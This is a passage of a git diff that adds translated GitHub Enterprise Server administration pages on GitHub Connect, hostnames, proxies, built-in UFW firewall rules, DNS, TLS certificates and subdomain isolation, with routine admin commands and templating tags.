записью организации или предприятия в {% data variables.product.prodname_ghe_cloud %}. {% data reusables.github-connect.connection-port-protocol %} + +При включении {% data variables.product.prodname_github_connect %} создается {% data variables.product.prodname_github_app %}, принадлежащее организационной или корпоративной учетной записи в {% data variables.product.prodname_ghe_cloud %}. {% data variables.product.product_name %} использует учетные данные {% data variables.product.prodname_github_app %}, чтобы отправлять запросы в {% data variables.product.prodname_ghe_cloud %}. + +{% ifversion ghes %} {% data variables.product.prodname_ghe_server %} хранит учетные данные из {% data variables.product.prodname_github_app %}. Следующие учетные данные будут реплицированы на все узлы в среде высокого уровня доступности или кластерной среде и хранятся в любых резервных копиях, включая моментальные снимки, созданные {% data variables.product.prodname_enterprise_backup_utilities %}. +- Маркер проверки подлинности, действительный в течение одного часа +- Закрытый ключ, который используется для создания нового маркера проверки подлинности {% endif %} + +## Предварительные требования + +Для использования {% data variables.product.prodname_github_connect %} вам необходима организационная или корпоративная учетная запись в {% data variables.product.prodname_dotcom_the_website %}, которая использует {% data variables.product.prodname_ghe_cloud %}. Возможно, у вас уже есть облако {% data variables.product.prodname_ghe_cloud %}, включенное в ваш план. {% data reusables.enterprise.link-to-ghec-trial %} + +{% ifversion ghes %} Если ваша учетная запись организации или предприятия в {% data variables.product.prodname_dotcom_the_website %} использует списки разрешенных IP-адресов, необходимо добавить IP-адрес или сеть для {% data variables.location.product_location %} в список разрешенных IP-адресов в {% data variables.product.prodname_dotcom_the_website %}. Дополнительные сведения см. в разделах [Управление разрешенными IP-адресами для вашей организации](/enterprise-cloud@latest/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-allowed-ip-addresses-for-your-organization) и [Обеспечение применения политик параметров безопасности в вашем предприятии](/enterprise-cloud@latest/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-security-settings-in-your-enterprise#managing-allowed-ip-addresses-for-organizations-in-your-enterprise) в документации {% data variables.product.prodname_ghe_cloud %}. + +Для настройки подключения конфигурация прокси-сервера должна разрешать подключение к `github.com`, `api.github.com` и `uploads.github.com`. Дополнительные сведения см. в разделе [Подключение с использованием исходящего веб-прокси-сервера](/enterprise/admin/guides/installation/configuring-an-outbound-web-proxy-server). +{% endif %} + +## Включение {% data variables.product.prodname_github_connect %} + +Владельцы предприятия, являющиеся также владельцами организационной или корпоративной учетной записи, которая использует {% data variables.product.prodname_ghe_cloud %}, могут включать {% data variables.product.prodname_github_connect %}. + +Если вы подключаете {% data variables.location.product_location %} к организации на {% data variables.product.prodname_ghe_cloud %}, которая не принадлежит корпоративной учетной записи, необходимо войти в {% data variables.product.prodname_dotcom_the_website %} в качестве владельца организации. + +Если вы подключаете {% data variables.location.product_location %} к организации на {% data variables.product.prodname_ghe_cloud %}, принадлежащей корпоративной учетной записи, или к самой корпоративной учетной записи, необходимо войти в {% data variables.product.prodname_dotcom_the_website %} в качестве владельца предприятия. + +{% ifversion ghes %} +1. Войдите в {% data variables.location.product_location %} и {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %}{% else %} +1. Войдите в {% data variables.location.product_location %} и {% data variables.product.prodname_dotcom_the_website %}. +{% data reusables.enterprise-accounts.access-enterprise %}{% data reusables.enterprise-accounts.github-connect-tab %}{% endif %} +1. В разделе "{% data variables.product.prodname_github_connect %} еще не включен" нажмите **Включить {% data variables.product.prodname_github_connect %}** . Нажимая **Включить {% data variables.product.prodname_github_connect %}** , вы соглашаетесь с условиями для дополнительных продуктов и компонентов {% data variables.product.prodname_dotcom %}. +{% ifversion ghes %} ![Кнопка "Включить GitHub Connect"](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} ![Кнопка "Включить GitHub Connect"](/assets/images/enterprise/github-ae/enable-github-connect-button.png) {% endif %} +1. Рядом с корпоративной учетной записью или организацией, которую вы хотите подключить, нажмите **Подключить**. + ![Кнопка "Подключить" рядом с корпоративной учетной записью или организацией](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png) + +## Отключение {% data variables.product.prodname_github_connect %} + +Владельцы предприятия могут отключить {% data variables.product.prodname_github_connect %}. + +При отключении от {% data variables.product.prodname_ghe_cloud %} {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} удаляется из вашей корпоративной учетной записи или организации, а учетные данные, хранящиеся в {% data variables.location.product_location %}, удаляются. + +{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %} +1. Рядом с корпоративной учетной записью или организацией, которую вы хотите отключить, нажмите **Отключить {% data variables.product.prodname_github_connect %}** . +{% ifversion ghes %} ![Кнопка "Отключить GitHub Connect" рядом с корпоративной учетной записью или именем организации](/assets/images/enterprise/business-accounts/disable-github-connect-button.png) +1. Прочтите сведения об отключении и нажмите кнопку **Отключить {% data variables.product.prodname_github_connect %}** . + ![Модальное окно с предупреждающей информацией об отключении и кнопкой подтверждения](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png) +{% else %} ![Кнопка "Отключить GitHub Connect" рядом с корпоративной учетной записью или именем организации](/assets/images/enterprise/github-ae/disable-github-connect-button.png) +1. Прочтите сведения об отключении и нажмите кнопку **Отключить {% data variables.product.prodname_github_connect %}** . + ![Модальное окно с предупреждающей информацией об отключении и кнопкой подтверждения](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) {% endif %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md new file mode 100644 index 000000000000..3d37a2c2dcd0 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md @@ -0,0 +1,39 @@ +--- +title: Configuring a hostname +intro: We recommend setting a hostname for your appliance instead of using a hard-coded IP address. +redirect_from: + - /enterprise/admin/guides/installation/configuring-hostnames + - /enterprise/admin/installation/configuring-a-hostname + - /enterprise/admin/configuration/configuring-a-hostname + - /admin/configuration/configuring-a-hostname +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure +--- +If you configure a hostname instead of a hard-coded IP address, you will be able to change the physical hardware that {% data variables.location.product_location %} runs on without affecting users or client software. + +The hostname setting in the {% data variables.enterprise.management_console %} should be set to an appropriate fully qualified domain name (FQDN) which is resolvable on the internet or within your internal network. For example, your hostname setting could be `github.companyname.com.` Web and API requests will automatically redirect to the hostname configured in the {% data variables.enterprise.management_console %}. Note that `localhost` is not a valid hostname setting. + +Hostnames must be less than 63 characters in length per [Section 2.3.4 of the Domain Names Specification RFC](https://datatracker.ietf.org/doc/html/rfc1035#section-2.3.4). + +After you configure a hostname, you can enable subdomain isolation to further increase the security of {% data variables.location.product_location %}. For more information, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)." + +For more information on the supported hostname types, see [Section 2.1 of the HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2). + +{% data reusables.enterprise_installation.changing-hostname-not-supported %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.hostname-menu-item %} +4. Type the hostname you'd like to set for {% data variables.location.product_location %}. + ![Field for setting a hostname](/assets/images/enterprise/management-console/hostname-field.png) +5. To test the DNS and SSL settings for the new hostname, click **Test domain settings**. + ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png) +{% data reusables.enterprise_management_console.test-domain-settings-failure %} +{% data reusables.enterprise_management_console.save-settings %} + +To help mitigate various cross-site scripting vulnerabilities, we recommend that you enable subdomain isolation for {% data variables.location.product_location %} after you configure a hostname. For more information, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)." diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md new file mode 100644 index 000000000000..0bf9da396ab2 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md @@ -0,0 +1,43 @@ +--- +title: Configuring an outbound web proxy server +intro: 'A proxy server provides an additional level of security for {% data variables.location.product_location %}.' +redirect_from: + - /enterprise/admin/guides/installation/configuring-a-proxy-server + - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server + - /enterprise/admin/configuration/configuring-an-outbound-web-proxy-server + - /admin/configuration/configuring-an-outbound-web-proxy-server +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking +shortTitle: Configure an outbound proxy +--- + +## About proxies with {% data variables.product.product_name %} + +When a proxy server is enabled for {% data variables.location.product_location %}, outbound messages sent by {% data variables.product.prodname_ghe_server %} are first sent through the proxy server, unless the destination host is added as an HTTP proxy exclusion. Types of outbound messages include outgoing webhooks, uploading bundles, and fetching legacy avatars. The proxy server's URL is the protocol, domain or IP address, plus the port number, for example `http://127.0.0.1:8123`. + +{% note %} + +**Note:** To connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." + +{% endnote %} + +{% data reusables.actions.proxy-considerations %} For more information about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)." + +## Configuring an outbound web proxy server + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.privacy %} +1. Under **HTTP Proxy Server**, type the URL of your proxy server. + ![Field to type the HTTP Proxy Server URL](/assets/images/enterprise/management-console/http-proxy-field.png) + +5. Optionally, under **HTTP Proxy Exclusion**, type any hosts that do not require proxy access, separating hosts with commas. To exclude all hosts in a domain from requiring proxy access, you can use `.` as a wildcard prefix. For example: `.octo-org.tentacle` + ![Field to type any HTTP Proxy Exclusions](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png) + +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md new file mode 100644 index 000000000000..7a0088680e1a --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md @@ -0,0 +1,123 @@ +--- +title: Configuring built-in firewall rules +intro: 'You can view default firewall rules and customize rules for {% data variables.location.product_location %}.' +redirect_from: + - /enterprise/admin/guides/installation/configuring-firewall-settings + - /enterprise/admin/installation/configuring-built-in-firewall-rules + - /enterprise/admin/configuration/configuring-built-in-firewall-rules + - /admin/configuration/configuring-built-in-firewall-rules +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking +shortTitle: Configure firewall rules +--- +## About {% data variables.location.product_location %}'s firewall + +{% data variables.product.prodname_ghe_server %} uses Ubuntu's Uncomplicated Firewall (UFW) on the virtual appliance. For more information see "[UFW](https://help.ubuntu.com/community/UFW)" in the Ubuntu documentation. {% data variables.product.prodname_ghe_server %} automatically updates the firewall allowlist of allowed services with each release. + +After you install {% data variables.product.prodname_ghe_server %}, all required network ports are automatically opened to accept connections. Every non-required port is automatically configured as `deny`, and the default outgoing policy is configured as `allow`. Stateful tracking is enabled for any new connections; these are typically network packets with the `SYN` bit set. For more information, see "[Network ports](/enterprise/admin/guides/installation/network-ports)." + +The UFW firewall also opens several other ports that are required for {% data variables.product.prodname_ghe_server %} to operate properly. For more information on the UFW rule set, see [the UFW README](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213). + +## Viewing the default firewall rules + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. To view the default firewall rules, use the `sudo ufw status` command. You should see output similar to this: + ```shell + $ sudo ufw status + > Status: active + > To Action From + > -- ------ ---- + > ghe-1194 ALLOW Anywhere + > ghe-122 ALLOW Anywhere + > ghe-161 ALLOW Anywhere + > ghe-22 ALLOW Anywhere + > ghe-25 ALLOW Anywhere + > ghe-443 ALLOW Anywhere + > ghe-80 ALLOW Anywhere + > ghe-8080 ALLOW Anywhere + > ghe-8443 ALLOW Anywhere + > ghe-9418 ALLOW Anywhere + > ghe-1194 (v6) ALLOW Anywhere (v6) + > ghe-122 (v6) ALLOW Anywhere (v6) + > ghe-161 (v6) ALLOW Anywhere (v6) + > ghe-22 (v6) ALLOW Anywhere (v6) + > ghe-25 (v6) ALLOW Anywhere (v6) + > ghe-443 (v6) ALLOW Anywhere (v6) + > ghe-80 (v6) ALLOW Anywhere (v6) + > ghe-8080 (v6) ALLOW Anywhere (v6) + > ghe-8443 (v6) ALLOW Anywhere (v6) + > ghe-9418 (v6) ALLOW Anywhere (v6) + ``` + +## Adding custom firewall rules + +{% warning %} + +**Warning:** Before you add custom firewall rules, back up your current rules in case you need to reset to a known working state. If you're locked out of your server, contact {% data variables.contact.contact_ent_support %} to reconfigure the original firewall rules. Restoring the original firewall rules involves downtime for your server. + +{% endwarning %} + +1. Configure a custom firewall rule. +2. Check the status of each new rule with the `status numbered` command. + ```shell + $ sudo ufw status numbered + ``` +3. To back up your custom firewall rules, use the `cp`command to move the rules to a new file. + ```shell + $ sudo cp -r /etc/ufw ~/ufw.backup + ``` + +After you upgrade {% data variables.location.product_location %}, you must reapply your custom firewall rules. We recommend that you create a script to reapply your firewall custom rules. + +## Restoring the default firewall rules + +If something goes wrong after you change the firewall rules, you can reset the rules from your original backup. + +{% warning %} + +**Warning:** If you didn't back up the original rules before making changes to the firewall, contact {% data variables.contact.contact_ent_support %} for further assistance. + +{% endwarning %} + +{% data reusables.enterprise_installation.ssh-into-instance %} +2. To restore the previous backup rules, copy them back to the firewall with the `cp` command. + ```shell + $ sudo cp -f ~/ufw.backup/*rules /etc/ufw + ``` +3. Restart the firewall with the `systemctl` command. + ```shell + $ sudo systemctl restart ufw + ``` +4. Confirm that the rules are back to their defaults with the `ufw status` command. + ```shell + $ sudo ufw status + > Status: active + > To Action From + > -- ------ ---- + > ghe-1194 ALLOW Anywhere + > ghe-122 ALLOW Anywhere + > ghe-161 ALLOW Anywhere + > ghe-22 ALLOW Anywhere + > ghe-25 ALLOW Anywhere + > ghe-443 ALLOW Anywhere + > ghe-80 ALLOW Anywhere + > ghe-8080 ALLOW Anywhere + > ghe-8443 ALLOW Anywhere + > ghe-9418 ALLOW Anywhere + > ghe-1194 (v6) ALLOW Anywhere (v6) + > ghe-122 (v6) ALLOW Anywhere (v6) + > ghe-161 (v6) ALLOW Anywhere (v6) + > ghe-22 (v6) ALLOW Anywhere (v6) + > ghe-25 (v6) ALLOW Anywhere (v6) + > ghe-443 (v6) ALLOW Anywhere (v6) + > ghe-80 (v6) ALLOW Anywhere (v6) + > ghe-8080 (v6) ALLOW Anywhere (v6) + > ghe-8443 (v6) ALLOW Anywhere (v6) + > ghe-9418 (v6) ALLOW Anywhere (v6) + ``` diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md new file mode 100644 index 000000000000..04ddd6fa9e51 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md @@ -0,0 +1,44 @@ +--- +title: Configuring DNS nameservers +intro: '{% data variables.product.prodname_ghe_server %} uses the dynamic host configuration protocol (DHCP) for DNS settings when DHCP leases provide nameservers. If nameservers are not provided by a dynamic host configuration protocol (DHCP) lease, or if you need to use specific DNS settings, you can specify the nameservers manually.' +redirect_from: + - /enterprise/admin/guides/installation/about-dns-nameservers + - /enterprise/admin/installation/configuring-dns-nameservers + - /enterprise/admin/configuration/configuring-dns-nameservers + - /admin/configuration/configuring-dns-nameservers +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking +shortTitle: Configure DNS servers +--- +The nameservers you specify must resolve {% data variables.location.product_location %}'s hostname. + +{% data reusables.enterprise_installation.changing-hostname-not-supported %} + +## Configuring nameservers using the virtual machine console + +{% data reusables.enterprise_installation.open-vm-console-start %} +2. Configure nameservers for your instance. +{% data reusables.enterprise_installation.vm-console-done %} + +## Configuring nameservers using the administrative shell + +{% data reusables.enterprise_installation.ssh-into-instance %} + +2. To edit your nameservers, use the `ghe-setup-network` command in visual mode. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-setup-network)." + + ```shell + ghe-setup-network -v + ``` + +5. To add your new nameserver entries to {% data variables.location.product_location %}, run the following: + + ```shell + sudo service resolvconf restart + sudo service dnsmasq restart + ``` diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md new file mode 100644 index 000000000000..a1fd64b9de36 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md @@ -0,0 +1,34 @@ +--- +title: Настройка IP-адреса с помощью консоли виртуальной машины +intro: 'По умолчанию {% data variables.product.prodname_ghe_server %} извлекает параметры сети с помощью протокола DHCP. Можно также настроить параметры сети с помощью консоли виртуальной машины, если платформа поддерживает эту функцию или если DHCP недоступен.' +redirect_from: + - /enterprise/admin/installation/configuring-the-ip-address-using-the-virtual-machine-console + - /enterprise/admin/configuration/configuring-the-ip-address-using-the-virtual-machine-console + - /admin/configuration/configuring-the-ip-address-using-the-virtual-machine-console +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking +shortTitle: Set the IP using the console +ms.openlocfilehash: db183677409757e516515a5ac7def5a70affd01f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145120771' +--- +{% note %} + +**Примечание.** Мы не поддерживаем добавление дополнительных сетевых адаптеров в {% data variables.product.prodname_ghe_server %}. + +{% endnote %} + +{% data reusables.enterprise_installation.open-vm-console-start %} +3. Выберите настройку `IPv4` или протокол `IPv6`. + ![Параметры выбора протокола IPv4 или IPv6](/assets/images/enterprise/network-configuration/IPv4-or-IPv6-protocol.png) +4. Настройте параметры для выбранного протокола. + ![Меню с параметрами протокола IP](/assets/images/enterprise/network-configuration/network-settings-selection.png) {% data reusables.enterprise_installation.vm-console-done %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-tls.md new file mode 100644 index 000000000000..bebfbb14fe2e --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/configuring-tls.md @@ -0,0 +1,85 @@ +--- +title: Configuring TLS +intro: 'You can configure Transport Layer Security (TLS) on {% data variables.location.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.' +redirect_from: + - /enterprise/admin/articles/ssl-configuration + - /enterprise/admin/guides/installation/about-tls + - /enterprise/admin/installation/configuring-tls + - /enterprise/admin/configuration/configuring-tls + - /admin/configuration/configuring-tls +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking + - Security +--- +## About Transport Layer Security + +TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt. + +The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia. + +{% data reusables.enterprise_installation.terminating-tls %} + +To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)." + +## Prerequisites + +To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority. + +Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia. + +You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)." + +Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)". + +## Uploading a custom TLS certificate + +{% data reusables.enterprise_site_admin_settings.tls-downtime %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.privacy %} +{% data reusables.enterprise_management_console.select-tls-only %} +4. Under "TLS Protocol support", select the protocols you want to allow. + ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png) +5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension. + ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png) +6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension. + ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png) + +{% data reusables.enterprise_management_console.save-settings %} + +## About Let's Encrypt support + +Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance. + +{% data reusables.enterprise_installation.lets-encrypt-prerequisites %} + +When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.location.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests. + +You can also use the `ghe-ssl-acme` command line utility on {% data variables.location.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-ssl-acme)." + +## Configuring TLS using Let's Encrypt + +{% data reusables.enterprise_installation.lets-encrypt-prerequisites %} + +{% data reusables.enterprise_site_admin_settings.tls-downtime %} + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.privacy %} +{% data reusables.enterprise_management_console.select-tls-only %} +5. Select **Enable automation of TLS certificate management using Let's Encrypt**. + ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png) +{% data reusables.enterprise_management_console.save-settings %} +{% data reusables.enterprise_management_console.privacy %} +7. Click **Request TLS certificate**. + ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png) +8. Wait for the "Status" to change from "STARTED" to "DONE". + ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png) +9. Click **Save configuration**. diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md new file mode 100644 index 000000000000..98a84270fb8f --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md @@ -0,0 +1,71 @@ +--- +title: Enabling subdomain isolation +intro: 'You can set up subdomain isolation to securely separate user-supplied content from other portions of your {% data variables.product.prodname_ghe_server %} appliance.' +redirect_from: + - /enterprise/admin/guides/installation/about-subdomain-isolation + - /enterprise/admin/installation/enabling-subdomain-isolation + - /enterprise/admin/configuration/enabling-subdomain-isolation + - /admin/configuration/enabling-subdomain-isolation +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Networking + - Security +shortTitle: Enable subdomain isolation +--- +## About subdomain isolation + +Subdomain isolation mitigates cross-site scripting and other related vulnerabilities. For more information, see "[Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)" on Wikipedia. We highly recommend that you enable subdomain isolation on {% data variables.location.product_location %}. + +When subdomain isolation is enabled, {% data variables.product.prodname_ghe_server %} replaces several paths with subdomains. After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors. + +| Path without subdomain isolation | Path with subdomain isolation | +| --- | --- | +| `http(s)://HOSTNAME/assets/` | `http(s)://assets.HOSTNAME/` | +| `http(s)://HOSTNAME/avatars/` | `http(s)://avatars.HOSTNAME/` | +| `http(s)://HOSTNAME/codeload/` | `http(s)://codeload.HOSTNAME/` | +| `http(s)://HOSTNAME/gist/` | `http(s)://gist.HOSTNAME/` | +| `http(s)://HOSTNAME/media/` | `http(s)://media.HOSTNAME/` | +| `http(s)://HOSTNAME/pages/` | `http(s)://pages.HOSTNAME/` | +| `http(s)://HOSTNAME/raw/` | `http(s)://raw.HOSTNAME/` | +{%- ifversion viewscreen-and-notebooks %} +| `http(s)://HOSTNAME/viewscreen/` | `http(s)://viewscreen.HOSTNAME/` | +| `http(s)://HOSTNAME/notebooks/` | `http(s)://notebooks.HOSTNAME/` | +{%- else %} +| `http(s)://HOSTNAME/render/` | `http(s)://render.HOSTNAME/` | +{%- endif %} +| `http(s)://HOSTNAME/reply/` | `http(s)://reply.HOSTNAME/` | +| `http(s)://HOSTNAME/uploads/` | `http(s)://uploads.HOSTNAME/` | {% ifversion ghes %} +| `https://HOSTNAME/` | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %} +| `https://HOSTNAME/_registry/npm/` | `https://npm.HOSTNAME/` +| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/` +| `https://HOSTNAME/_registry/maven/` | `https://maven.HOSTNAME/` +| `https://HOSTNAME/_registry/nuget/` | `https://nuget.HOSTNAME/`{% endif %}{% ifversion ghes > 3.4 %} +| Not supported | `https://containers.HOSTNAME/` |{% endif %} + +## Prerequisites + +{% data reusables.enterprise_installation.disable-github-pages-warning %} + +Before you enable subdomain isolation, you must configure your network settings for your new domain. + +- Specify a valid domain name as your hostname, instead of an IP address. For more information, see "[Configuring a hostname](/enterprise/admin/guides/installation/configuring-a-hostname)." + +{% data reusables.enterprise_installation.changing-hostname-not-supported %} + +- Set up a wildcard Domain Name System (DNS) record or individual DNS records for the subdomains listed above. We recommend creating an A record for `*.HOSTNAME` that points to your server's IP address so you don't have to create multiple records for each subdomain. +- Get a wildcard Transport Layer Security (TLS) certificate for `*.HOSTNAME` with a Subject Alternative Name (SAN) for both `HOSTNAME` and the wildcard domain `*.HOSTNAME`. For example, if your hostname is `github.octoinc.com`, get a certificate with the Common Name value set to `*.github.octoinc.com` and a SAN value set to both `github.octoinc.com` and `*.github.octoinc.com`. +- Enable TLS on your appliance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls/)." + +## Enabling subdomain isolation + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.hostname-menu-item %} +4. Select **Subdomain isolation (recommended)**. + ![Checkbox to enable subdomain isolation](/assets/images/enterprise/management-console/subdomain-isolation.png) +{% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/index.md b/translations/ru-RU/content/admin/configuration/configuring-network-settings/index.md new file mode 100644 index 000000000000..54ba49f784d2 --- /dev/null +++ b/translations/ru-RU/content/admin/configuration/configuring-network-settings/index.md @@ -0,0 +1,34 @@ +--- +title: Настройка параметров сети +redirect_from: + - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl + - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings + - /enterprise/admin/articles/configuring-dns-ssl-and-subdomain-settings + - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings + - /enterprise/admin/installation/configuring-your-github-enterprise-server-network-settings + - /enterprise/admin/configuration/configuring-network-settings +intro: 'Настройте {% data variables.product.prodname_ghe_server %} с DNS-серверами доменных имен и именем узла, необходимыми в сети. Вы также можете настроить прокси-сервер или правила брандмауэра. Для административных и пользовательских целей нужно разрешить доступ к определенным портам.' +versions: + ghes: '*' +topics: + - Enterprise +children: + - /configuring-the-ip-address-using-the-virtual-machine-console + - /configuring-dns-nameservers + - /configuring-a-hostname + - /validating-your-domain-settings + - /configuring-tls + - /enabling-subdomain-isolation + - /configuring-an-outbound-web-proxy-server + - /configuring-built-in-firewall-rules + - /network-ports + - /using-github-enterprise-server-with-a-load-balancer +shortTitle: Configure network settings +ms.openlocfilehash: 6c6e7149a63683cf003671d37e14d39ea3ffb9af +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145112907' +--- + diff --git a/translations/ru-RU/content/admin/configuration/configuring-network-settings/network-ports.md 